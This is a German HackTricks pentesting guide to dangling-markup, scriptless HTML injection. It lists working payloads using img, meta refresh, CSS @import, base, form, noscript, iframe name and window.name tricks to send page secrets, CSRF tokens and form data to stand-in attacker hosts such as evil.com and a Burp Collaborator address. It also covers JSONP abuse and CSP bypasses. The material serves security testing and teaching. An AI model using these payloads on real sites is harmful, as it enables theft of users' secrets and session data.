hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

15 KiB

Dangling Markup - HTML scriptless injection

Lernen Sie AWS-Hacking von Null auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Zusammenfassung

Diese Technik kann verwendet werden, um Informationen von einem Benutzer zu extrahieren, wenn eine HTML-Injektion gefunden wird. Dies ist sehr nützlich, wenn Sie keinen Weg finden, eine XSS auszunutzen, aber Sie können einige HTML-Tags injizieren.
Es ist auch nützlich, wenn ein Geheimnis im Klartext gespeichert ist und Sie es vom Client exfiltrieren möchten, oder wenn Sie die Ausführung eines Skripts irreführen möchten.

Einige hier kommentierte Techniken können verwendet werden, um einige Content Security Policy zu umgehen, indem Informationen auf unerwartete Weise exfiltriert werden (HTML-Tags, CSS, http-Metatags, Formulare, base...).

Hauptanwendungen

Klartextgeheimnisse stehlen

Wenn Sie <img src='http://evil.com/log.cgi? injizieren, wird der Benutzer Ihnen beim Laden der Seite den gesamten Code zwischen dem injizierten img-Tag und dem nächsten Anführungszeichen im Code senden. Wenn sich ein Geheimnis irgendwie in diesem Abschnitt befindet, werden Sie es stehlen (Sie können dasselbe tun, indem Sie ein doppeltes Anführungszeichen verwenden, schauen Sie sich an, was interessanter zu verwenden sein könnte).

Wenn das img-Tag verboten ist (zum Beispiel aufgrund von CSP), können Sie auch <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? verwenden.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Beachten Sie, dass Chrome HTTP-URLs mit "<" oder "\n" blockiert, daher könnten Sie andere Protokollschemata wie "ftp" ausprobieren.

Sie können auch CSS @import missbrauchen (es wird den gesamten Code senden, bis es ein ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Du könntest auch <table verwenden:

<table background='//your-collaborator-id.burpcollaborator.net?'

Du könntest auch ein <base Tag einfügen. Alle Informationen werden gesendet, bis das Anführungszeichen geschlossen ist, aber es erfordert eine Benutzerinteraktion (der Benutzer muss auf einen Link klicken, da das base-Tag die Domain ändert, auf die der Link zeigt):

<base target='        <--- Injected
steal me'<b>test</b>

Formulare stehlen

<base href='http://evil.com/'>

Dann senden die Formulare, die Daten an den Pfad senden (wie <form action='update_profile.php'>), die Daten an die bösartige Domain.

Formulare stehlen 2

Setzen Sie einen Formularkopf: <form action='http://evil.com/log_steal'> Dadurch wird der nächste Formularkopf überschrieben und alle Daten aus dem Formular werden an den Angreifer gesendet.

Formulare stehlen 3

Die Schaltfläche kann die URL ändern, an die die Informationen des Formulars gesendet werden sollen, mit dem Attribut "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Ein Angreifer kann dies verwenden, um die Informationen zu stehlen.

Finde ein Beispiel dieses Angriffs in diesem Bericht.

Klartextgeheimnisse stehlen 2

Mit der neuesten genannten Technik zum Stehlen von Formularen (Einfügen eines neuen Formular-Headers) können Sie dann ein neues Eingabefeld einfügen:

<input type='hidden' name='review_body' value="

und dieses Eingabefeld wird alle Inhalte zwischen seinem doppelten Anführungszeichen und dem nächsten doppelten Anführungszeichen im HTML enthalten. Dieser Angriff mischt "Klartextgeheimnisse stehlen" mit "Formulare stehlen2".

Sie können dasselbe tun, indem Sie ein Formular und ein <option>-Tag einfügen. Alle Daten bis zu einem geschlossenen </option> werden gesendet:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Form-Parameter-Injektion

Sie können den Pfad eines Formulars ändern und neue Werte einfügen, sodass eine unerwartete Aktion ausgeführt wird:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Diebstahl von Klartextgeheimnissen über noscript

<noscript></noscript> ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser kein JavaScript unterstützt (Sie können JavaScript in Chrome unter chrome://settings/content/javascript aktivieren/deaktivieren).

Ein Weg, um den Inhalt der Webseite vom Injektionspunkt bis zum Ende an eine vom Angreifer kontrollierte Website zu exfiltrieren, besteht darin, dies einzufügen:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Umgehung von CSP mit Benutzerinteraktion

Aus dieser Portswiggers-Forschung können Sie lernen, dass selbst in den am stärksten durch CSP eingeschränkten Umgebungen Sie immer noch mit etwas Benutzerinteraktion Daten exfiltrieren können. In diesem Fall werden wir das Payload verwenden:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Beachten Sie, dass Sie das Opfer bitten werden, auf einen Link zu klicken, der ihn zu einem von Ihnen kontrollierten Payload weiterleitet. Beachten Sie auch, dass das target-Attribut innerhalb des base-Tags HTML-Inhalte bis zum nächsten einfachen Anführungszeichen enthält.
Dadurch wird der Wert von window.name, wenn der Link angeklickt wird, all diese HTML-Inhalte sein. Daher können Sie, da Sie die Seite kontrollieren, auf die das Opfer durch Klicken des Links zugreift, auf window.name zugreifen und diese Daten exfiltrieren:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Irreführender Skript-Workflow 1 - HTML-Namespace-Angriff

Fügen Sie ein neues Tag mit einer ID innerhalb des HTML ein, das das nächste überschreiben wird und mit einem Wert, der den Ablauf eines Skripts beeinflussen wird. In diesem Beispiel wählen Sie aus, mit wem Informationen geteilt werden sollen:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Irreführender Skript-Workflow 2 - Skript-Namensraumangriff

Erstellen Sie Variablen innerhalb des JavaScript-Namensraums, indem Sie HTML-Tags einfügen. Diese Variable wird dann den Ablauf der Anwendung beeinflussen:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Missbrauch von JSONP

Wenn Sie eine JSONP-Schnittstelle finden, könnten Sie in der Lage sein, eine beliebige Funktion mit beliebigen Daten aufzurufen:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Oder Sie können sogar versuchen, JavaScript auszuführen:

<script src='/search?q=a&call=alert(1)'></script>

Iframe-Missbrauch

Ein untergeordnetes Dokument besitzt die Fähigkeit, die location-Eigenschaft seines Elternelements anzuzeigen und zu ändern, auch in Cross-Origin-Situationen. Dies ermöglicht das Einbetten eines Skripts innerhalb eines iframe, das den Client auf eine beliebige Seite umleiten kann:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Dies kann mit etwas wie folgt abgemildert werden: sandbox=' allow-scripts allow-top-navigation'

Ein iframe kann auch missbraucht werden, um sensible Informationen von einer anderen Seite preiszugeben, indem das iframe-Name-Attribut verwendet wird. Dies liegt daran, dass Sie ein iframe erstellen können, das sich selbst iframt und dabei die HTML-Injektion missbraucht, die dazu führt, dass die sensiblen Informationen im iframe-Name-Attribut erscheinen und dann diesen Namen vom ursprünglichen iframe aus abrufen und preisgeben können.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Für weitere Informationen siehe https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta-Missbrauch

Sie könnten meta http-equiv verwenden, um mehrere Aktionen wie das Setzen eines Cookies auszuführen: <meta http-equiv="Set-Cookie" Content="SESSID=1"> oder eine Weiterleitung durchzuführen (in diesem Fall in 5 Sekunden): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Dies kann mit einem CSP in Bezug auf http-equiv vermieden werden (Content-Security-Policy: default-src 'self';, oder Content-Security-Policy: http-equiv 'self';)

Neues <portal-HTML-Tag

Sie können eine sehr interessante Forschung zu ausnutzbaren Schwachstellen des <portal-Tags hier finden.
Zum Zeitpunkt des Verfassens dieses Textes müssen Sie das Portal-Tag in Chrome unter chrome://flags/#enable-portals aktivieren, damit es funktioniert.

<portal src='https://attacker-server?

HTML-Lecks

Nicht alle Möglichkeiten, um Konnektivität in HTML zu leaken, sind für Dangling Markup nützlich, aber manchmal könnte es helfen. Überprüfen Sie sie hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Lecks

Dies ist eine Mischung zwischen Dangling Markup und XS-Lecks. Einerseits ermöglicht die Schwachstelle das Einschleusen von HTML (aber nicht von JS) auf einer Seite mit der gleichen Herkunft wie die, die wir angreifen werden. Andererseits greifen wir nicht direkt die Seite an, auf der wir HTML einschleusen können, sondern eine andere Seite.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Suche/XS-Lecks

XS-Suche zielt darauf ab, Informationen über Kreuzherkunft auszuleiten, indem Seitenkanalangriffe missbraucht werden. Daher handelt es sich um eine andere Technik als Dangling Markup, jedoch missbrauchen einige der Techniken die Einbindung von HTML-Tags (mit und ohne JS-Ausführung), wie CSS-Injection oder Lazy Load Images.

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

Brute-Force-Erkennungsliste

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: